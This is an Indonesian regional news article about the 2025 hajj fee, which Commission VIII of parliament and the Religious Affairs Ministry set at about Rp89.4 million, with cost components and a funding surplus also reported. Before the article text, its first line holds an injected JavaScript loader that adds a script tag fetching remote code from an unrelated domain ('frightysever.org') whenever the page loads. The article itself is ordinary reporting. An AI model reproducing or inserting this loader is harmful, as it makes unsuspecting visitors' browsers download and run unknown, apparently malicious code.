(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan Ibadah Haji (BPIH) 2025 sebesar Rp89.410.258,79. Angka ini mengalami penurunan signifikan, yaitu sekitar Rp4 juta dibandingkan BPIH tahun sebelumnya yang mencapai Rp93,4 juta.
Ketua Komisi VIII DPR Marwan Dasopang mengungkapkan penurunan ini merupakan hasil dari evaluasi dan efisiensi anggaran oleh panitia kerja (panja).
“Kecermatan anggota panja dalam mencermati pembiayaan membuat kita bisa menetapkan angka BPIH 2025 sebesar Rp 89.410.258,79,” ujar Marwan usai rapat penetapan BPIH 1446 H di Gedung DPR, Senayan, Jakarta, Senin (6/1/2025).
Penurunan BPIH 2025 menjadi sorotan, mengingat biaya haji biasanya mengalami kenaikan setiap tahun akibat inflasi dan kebijakan baru dari pemerintah Arab Saudi. Namun, berkat penyisiran biaya yang lebih teliti, jemaah kini hanya perlu membayar Rp 55.431.750,78.
Baca juga: Tim Banjarbaru Hanyar Siap Hadapi Sidang Pertama Gugatan di MK
Selain itu, proporsi nilai manfaat juga berubah dari sebelumnya 60:40 menjadi 62:38, yang turut mengurangi beban biaya jemaah. Pemangkasan biaya dilakukan di beberapa komponen, seperti asuransi, yang kini ditanggung oleh penyedia layanan haji.
Beberapa komponen utama biaya haji yang mengalami penurunan meliputi biaya penerbangan menjadi Rp 33,1 juta, turun berkat bertambahnya maskapai yang bersaing. Berikutnya, biaya akomodasi di Mekkah berkurang dari Rp 17 juta menjadi Rp 14 juta.
Marwan juga mengungkapkan tahun ini ada surplus keuangan haji. Dari dana Rp 7 triliun yang disiapkan oleh Badan Pengelola Keuangan Haji (BPKH), hanya Rp 6,8 triliun yang digunakan.
Wakil Menteri Agama, Romo Syafi’i, memastikan bahwa penurunan biaya tidak akan mempengaruhi kualitas layanan bagi jemaah haji.
Baca juga: Eksepsi Dua Terdakwa Suap Proyek PUPR Kalsel, Jaksa KPK: Keberatan Tak Berdasar
“Kami memastikan layanan kepada jemaah tetap menjadi prioritas utama meskipun ada penurunan biaya,” tegas Romo. (Beritasatu.com/Kanalkalimantan.com)
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Perkara kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More
This website uses cookies.